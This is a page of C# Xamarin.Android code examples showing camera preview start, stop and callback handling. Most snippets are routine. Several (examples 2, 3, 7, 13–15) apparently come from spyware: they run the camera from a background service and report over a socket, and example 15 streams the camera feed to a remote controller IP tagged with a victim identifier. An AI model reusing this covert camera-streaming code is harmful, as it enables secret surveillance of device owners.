Exemple #1
0
 private void StopCamera()
 {
     camera.SetPreviewCallback(null);
     camera.StopPreview();
     camera.Release();
     camera = null;
 }
Exemple #2
0
 public void StopCamera()
 {
     if (mCamera != null)
     {
         try
         {
             mCamera.StopPreview();
             mCamera.SetPreviewDisplay(null);
             mCamera.SetPreviewCallback(null);
             mCamera.Lock();
             mCamera.Release();
             mCamera = null;
             hldr.RemoveCallback(this);
             if (ForegroundService.windowManager != null)
             {
                 if (ForegroundService._globalSurface != null)
                 {
                     ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface);
                     ForegroundService.windowManager  = null;
                     ForegroundService._globalSurface = null;
                 }
             }
             ForegroundService._globalService.CamInService();
             try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMREADY", "[VERI][0x09]"); } catch (Exception) { }
         }
         catch (Exception) { }
     }
 }
Exemple #3
0
 public void StopCamera()
 {
     if (mCamera != null)
     {
         try
         {
             mCamera.StopPreview();
             mCamera.SetPreviewDisplay(null);
             mCamera.SetPreviewCallback(null);
             mCamera.Lock();
             mCamera.Release();
             mCamera = null;
             hldr.RemoveCallback(this);
             if (ForegroundService.windowManager != null)
             {
                 if (ForegroundService._globalSurface != null)
                 {
                     ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface);
                     ForegroundService._globalSurface.Dispose();
                 }
                 ForegroundService.windowManager.Dispose();
             }
             ForegroundService._globalService.CamInService();
         }
         catch (Exception) { }
     }
     if (camSock != null)
     {
         try { camSock.Close(); } catch { }
         try { camSock.Dispose(); } catch { }
     }
 }
Exemple #4
0
        public async Task GetPhoto()
        {
            _camera = Camera.Open();
            var parameters = _camera.GetParameters();

            var sizes = parameters.SupportedPictureSizes;

            int index = 0;

            for (int i = 0; i < sizes.Count; i++)
            {
                if (sizes[i].Width > 1200 && sizes[i].Width < 1300)
                {
                    index = i;
                }
            }

            parameters.SetPictureSize(sizes[index].Width, sizes[index].Height);
            parameters.SetRotation(90);
            parameters.SceneMode     = Camera.Parameters.SceneModeAuto;
            parameters.WhiteBalance  = Camera.Parameters.WhiteBalanceAuto;
            parameters.FocusMode     = Camera.Parameters.FocusModeContinuousPicture;
            parameters.PictureFormat = ImageFormatType.Jpeg;
            parameters.JpegQuality   = 100;
            _camera.SetParameters(parameters);
            _camera.SetPreviewCallback(this);
            _camera.Lock();
            SurfaceTexture st = new SurfaceTexture(100);

            _camera.SetPreviewTexture(st);
            _camera.StartPreview();

            await TakePicture();
        }
 public void SurfaceDestroyed(ISurfaceHolder holder)
 {
     // throw new NotImplementedException();
     holder.RemoveCallback(this);
     camera.SetPreviewCallback(null);
     camera.StopPreview();
     camera.Release();
     camera = null;
 }
Exemple #6
0
        private void OpenCamera()
        {
            if (CheckSelfPermission(Manifest.Permission.Camera) != Permission.Granted)
            {
                RequestCameraPermission();
                return;
            }

            camera = Open();
            Parameters parameters = camera.GetParameters();

            parameters.PictureFormat = ImageFormatType.Jpeg;
            parameters.PreviewFormat = ImageFormatType.Nv21;
            if (parameters.SupportedFocusModes.Contains(Parameters.FocusModeContinuousVideo))
            {
                parameters.FocusMode = Parameters.FocusModeContinuousVideo;
            }
            IList <Size> suportedPreviewSizes = parameters.SupportedPreviewSizes;
            int          i = 0;

            for (i = 0; i < suportedPreviewSizes.Count; i++)
            {
                if (suportedPreviewSizes[i].Width < 1300)
                {
                    break;
                }
            }
            parameters.SetPreviewSize(suportedPreviewSizes[i].Width, suportedPreviewSizes[i].Height);
            camera.SetParameters(parameters);
            camera.SetDisplayOrientation(90);
            camera.SetPreviewCallback(this);
            camera.SetPreviewDisplay(surface.Holder);
            camera.StartPreview();
            //Get camera width
            previewWidth = parameters.PreviewSize.Width;
            //Get camera height
            previewHeight = parameters.PreviewSize.Height;

            //Resize SurfaceView Size
            float scaledHeight = previewWidth * 1.0f * surface.Width / previewHeight;
            float prevHeight   = surface.Height;

            ViewGroup.LayoutParams lp = surface.LayoutParameters;
            lp.Width  = surface.Width;
            lp.Height = (int)scaledHeight;
            surface.LayoutParameters = lp;
            surface.Top = (int)((prevHeight - scaledHeight) / 2);
            surface.DrawingCacheEnabled = true;

            handlerThread = new HandlerThread("background");
            handlerThread.Start();
            //backgroundHandler = new MyHandler(handlerThread.Looper);
            backgroundHandler = new MyHandler(Looper.MainLooper);
        }
Exemple #7
0
        public void StartCamera(int camID, string flash, string resolution, string focuse)
        {
            StopCamera();
            try { mCamera = Android.Hardware.Camera.Open(camID); }
            catch (Exception)
            {
                try
                {
                    byte[] dataPacker = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", System.
                                                                                                  Text.Encoding.UTF8.GetBytes("vid"));
                    MainActivity.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null);
                }
                catch (Exception) { }
                return;
            }

            Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters();
            SetFlashModeOff(params_);
            if (flash == "1")
            {
                FlashParam(params_);
            }
            ///
            params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]),
                                   int.Parse(resolution.Split('x')[1]));
            ///
            if (focuse == "1")
            {
                SetFocusModeOn(params_);
            }
            ///
            SetSceneModeAuto(params_);
            SetWhiteBalanceAuto(params_);
            mCamera.SetParameters(params_);
            try
            {
                mCamera.SetPreviewDisplay(hldr);
                mCamera.SetPreviewCallback(this);
                mCamera.StartPreview();
            }
            catch (Exception)
            {
                try
                {
                    byte[] senddata = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("Can't start camera"));
                    MainActivity.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null);
                }
                catch (Exception) { }

                StopCamera();
                return;
            }
        }
 public void SurfaceCreated(ISurfaceHolder holder)
 {
     // throw new NotImplementedException();
     // open camera's parameters
     camera = Android.Hardware.Camera.Open();
     camera.SetDisplayOrientation(90);
     Android.Hardware.Camera.Parameters p = camera.GetParameters();
     p.PictureFormat = ImageFormatType.Jpeg;
     camera.SetParameters(p);
     camera.SetPreviewCallback(this);
     camera.SetPreviewDisplay(holder);
     camera.StartPreview();
 }
            public Camera() : base(Forms.Context)
            {
                cam = Android.Hardware.Camera.Open();
#pragma warning restore 618
                Log("cam Opened");

                switch (
                    ((Android.Views.IWindowManager)Context.GetSystemService(Android.Content.Context.WindowService))
                    .DefaultDisplay.Rotation)
                {
                case Android.Views.SurfaceOrientation.Rotation0:
                    cam.SetDisplayOrientation(90);
                    break;

                case Android.Views.SurfaceOrientation.Rotation180:
                    cam.SetDisplayOrientation(270);
                    break;

                case Android.Views.SurfaceOrientation.Rotation270:
                    cam.SetDisplayOrientation(180);
                    break;

                case Android.Views.SurfaceOrientation.Rotation90:
                    cam.SetDisplayOrientation(0);
                    break;

                default:
                    break;
                }
                try
                {
                    cam.SetPreviewCallback(new Callback(
                                               (data, camera) =>
                    {
                        var Prev = Drawable;
                        using (var s = new System.IO.MemoryStream(data))
                            SetImageDrawable(new Android.Graphics.Drawables.BitmapDrawable(s));
                        Prev?.Dispose();
                    }
                                               ));
                    Log("Preview set");
                    cam.StartPreview();
                    Log("Preview started");
                }
                catch (Java.IO.IOException ex)
                {
                    Log(ex);
                }
            }
Exemple #10
0
 public void stop()
 {
     if (camera != null)
     {
         camera.StopPreview();
         camera.SetPreviewCallback(null);
         camera.Release();
         camera = null;
     }
     if (cameraHandlerThread != null)
     {
         cameraHandlerThread.Quit();
         cameraHandlerThread = null;
     }
     LogUtil.i("wtf", "stop");
 }
Exemple #11
0
        public void SurfaceCreated(ISurfaceHolder holder)
        {
            // The Surface has been created, acquire the camera and tell it where
            // to draw.
            camera = Camera.Open();

            try
            {
                camera.SetPreviewDisplay(holder);
                camera.SetPreviewCallback(this);
            }
            catch (Exception)
            {
                camera.Release();
                camera = null;
                // TODO: add more exception handling logic here
            }
        }
        private void ReleaseCameraInstance()
        {
            if (_camera != null)
            {
                try
                {
                    _camera.StopPreview();
                }
                catch (System.Exception e)
                {
                }

                _camera.SetPreviewCallback(null);
                _camera.Release();
                _camera   = null;
                _cameraId = -1;
            }
        }
Exemple #13
0
        public void StartCamera(int camID, string flash, string resolution, string focuse)
        {
            StopCamera();
            try { mCamera = Android.Hardware.Camera.Open(camID); }
            catch (Exception)
            {
                try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]vid[0x09]"); } catch (Exception) { }
                return;
            }

            Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters();
            SetFlashModeOff(params_);
            if (flash == "1")
            {
                FlashParam(params_);
            }
            ///
            params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]),
                                   int.Parse(resolution.Split('x')[1]));
            ///
            if (focuse == "1")
            {
                SetFocusModeOn(params_);
            }
            ///
            SetSceneModeAuto(params_);
            SetWhiteBalanceAuto(params_);
            mCamera.SetParameters(params_);
            try
            {
                mCamera.SetPreviewDisplay(hldr);
                mCamera.SetPreviewCallback(this);
                mCamera.StartPreview();
            }
            catch (Exception)
            {
                try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]Can't start camera[0x09]"); } catch (Exception) { }
                StopCamera();
                return;
            }
        }
Exemple #14
0
        public void StartCamera(int camID, string flash, string resolution)
        {
            StopCamera();
            try { mCamera = Android.Hardware.Camera.Open(camID); }
            catch (Exception)
            {
                try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI][0x09]"); } catch (Exception) { }
                return;
            }

            Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters();
            SetFlashModeOff(params_);
            if (flash == "1")
            {
                FlashParam(params_);
            }
            ///
            params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]),
                                   int.Parse(resolution.Split('x')[1]));
            ///
            SetFocusModeAuto(params_);
            ///
            SetSceneModeAuto(params_);
            SetWhiteBalanceAuto(params_);
            mCamera.SetParameters(params_);
            try
            {
                mCamera.SetPreviewDisplay(hldr);
                mCamera.SetPreviewCallback(this);
                mCamera.StartPreview();
            }
            catch (Exception)
            {
                Android.Widget.Toast.MakeText(MainActivity.global_activity, "START CAMERA", Android.Widget.ToastLength.Long).Show();
            }
        }
Exemple #15
0
 public void StartCamera(int camID, string flash, string resolution, string focuse)
 {
     //StopCamera();
     try { mCamera = Android.Hardware.Camera.Open(camID); }
     catch (Exception)
     {
         try
         {
             byte[] dataPacker = ForegroundService._globalService.MyDataPacker("CAMNOT", System.
                                                                               Text.Encoding.UTF8.GetBytes("OPENERR"));
             ForegroundService.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null);
         }
         catch (Exception) { }
         return;
     }
     try
     {
         if (camSock != null)
         {
             try { camSock.Close(); } catch { }
             try { camSock.Dispose(); } catch { }
         }
         ID      = MainValues.KRBN_ISMI + "_" + ForegroundService._globalService.GetIdentifier();
         camSock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         IPAddress  ipadresi_dosya = Dns.GetHostAddresses(MainValues.IP)[0];
         IPEndPoint endpoint_dosya = new IPEndPoint(ipadresi_dosya, MainValues.port);
         camSock.SendBufferSize = int.MaxValue;
         camSock.SendTimeout    = -1;
         camSock.NoDelay        = true;
         ForegroundService._globalService.SetKeepAlive(camSock, 2000, 1000);
         camSock.Connect(endpoint_dosya);
         byte[] ready = ForegroundService._globalService.MyDataPacker("MYVIDREADY", Encoding.UTF8.GetBytes("ECHO"), ID);
         camSock.Send(ready, 0, ready.Length, SocketFlags.None);
         Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters();
         SetFlashModeOff(params_);
         if (flash == "1")
         {
             FlashParam(params_);
         }
         ///
         params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]),
                                int.Parse(resolution.Split('x')[1]));
         ///
         if (focuse == "1")
         {
             SetFocusModeOn(params_);
         }
         ///
         SetSceneModeAuto(params_);
         SetWhiteBalanceAuto(params_);
         try
         {
             mCamera.SetParameters(params_);
             mCamera.SetPreviewDisplay(hldr);
             mCamera.SetPreviewCallback(this);
             mCamera.StartPreview();
         }
         catch (Exception)
         {
             try
             {
                 byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("PREVERR"));
                 ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null);
             }
             catch (Exception) { }
             StopCamera();
         }
     }
     catch (Exception ex)
     {
         try
         {
             byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes(ex.Message));
             ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null);
         }
         catch (Exception) { }
         StopCamera();
     }
 }
Exemple #16
0
 public void SurfaceCreated(ISurfaceHolder holder)
 {
     try
     {
         // if only front camera, get it
         camera = Camera.Open(0);
         Camera.Parameters p = camera.GetParameters();
         p.PictureFormat = Android.Graphics.ImageFormatType.Jpeg;
         camera.EnableShutterSound(true);
         // fix camera rotation
         camera.SetDisplayOrientation(0);
         camera.SetParameters(p);
         camera.SetPreviewCallback(this);
         camera.Lock();
         camera.SetPreviewDisplay(holder);
         camera.StartPreview();
     }
     catch (Java.IO.IOException e)
     {
     }
 }
Exemple #17
0
        public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height)
        {
            if (holder.Surface == null)
            {
                return;
            }

            try
            {
                camera.StopPreview();
            }
            catch (Exception e)
            {
                Log.Debug("Exception", e.Message);
                return;
            }

            try
            {
                //FrameLayout layout = (FrameLayout)FindViewById(Resource.Id.frame);
                //ViewGroup.LayoutParams parms = layout.LayoutParameters;
                //parms.Height = 960;
                //parms.Width = 1280;

                //parms.Height = 1440;
                //parms.Width = 1920;
                //layout.LayoutParameters = parms;

                Display display = WindowManager.DefaultDisplay;
                Point   size    = new Point();
                display.GetSize(size);
                int displayWidth  = size.X;
                int displayHeight = size.Y;


                // resolution of desktop viewer is 640x480
                scaleX = Convert.ToInt32(displayWidth / 640);
                scaleY = Convert.ToInt32(displayHeight / 480);

                //Configration Camera Parameter(full-size)
                Android.Hardware.Camera.Parameters parameters      = camera.GetParameters();
                Android.Hardware.Camera.Size       bestPreviewSize = GetBestPreviewSize(width, height, parameters);

                parameters.SetPictureSize(320, 240);
                //parameters.SetPreviewSize(bestPreviewSize.Width, bestPreviewSize.Height);
                parameters.SetPreviewSize(320, 240);

                parameters.PreviewFormat = Android.Graphics.ImageFormatType.Nv21;// ImageFormat.Nv21;
                parameters.FocusMode     = Android.Hardware.Camera.Parameters.FocusModeContinuousPicture;


                camera.SetParameters(parameters);
                camera.SetPreviewDisplay(holder);
                camera.SetPreviewCallback(this);
                camera.StartPreview();
            }
            catch (Exception e)
            {
                Log.Debug("Exception", e.Message);
            }
        }
Exemple #18
0
 private void StartCamera()
 {
     camera.SetDisplayOrientation(90);
     camera.SetPreviewCallback(new mPreviewCallback());
     camera.StartPreview();
 }